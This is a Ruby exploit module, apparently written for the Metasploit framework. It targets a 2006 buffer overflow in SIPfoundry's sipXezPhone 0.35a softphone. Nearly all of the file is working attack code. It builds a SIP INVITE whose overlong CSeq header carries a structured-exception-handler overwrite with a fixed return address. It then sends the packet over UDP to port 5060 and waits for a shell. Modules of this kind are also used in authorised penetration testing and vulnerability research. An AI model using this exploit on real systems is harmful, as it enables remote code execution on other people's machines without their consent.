84 lines
2.0 KiB
Ruby
84 lines
2.0 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Sip::Sipfoundry_CSeq < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Udp
|
|
include Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in SIPfoundry's
|
|
sipXezPhone version 0.35a. By sending an long CSeq header,
|
|
a remote attacker could overflow a buffer and execute
|
|
arbitrary code on the system with the privileges of
|
|
the affected application.
|
|
},
|
|
'Author' => 'MC',
|
|
'Version' => '$Revision: 1.0 $',
|
|
'References' =>
|
|
[
|
|
['BID', '18906'],
|
|
['CVE', '2006-3524'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 400,
|
|
'BadChars' => "\x00\x0a\x20\x09\x0d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
[
|
|
['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'July 10 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(5060)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect_udp
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
user = Rex::Text.rand_text_english(2, payload_badchars)
|
|
port = rand(65535).to_s
|
|
filler = Rex::Text.rand_text_english(260, payload_badchars)
|
|
seh = generate_seh_payload(target.ret)
|
|
filler[252, seh.length] = seh
|
|
|
|
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
|
|
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
|
|
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
|
|
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
|
|
sploit << "Call-ID: #{(rand(100)+100).to_s}#{rhost}" + "\r\n"
|
|
sploit << "CSeq: " + filler + "\r\n"
|
|
sploit << "Max-Forwards: 20" + "\r\n"
|
|
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
|
|
|
|
udp_sock.put(sploit)
|
|
|
|
handler
|
|
disconnect_udp
|
|
end
|
|
|
|
end
|
|
end
|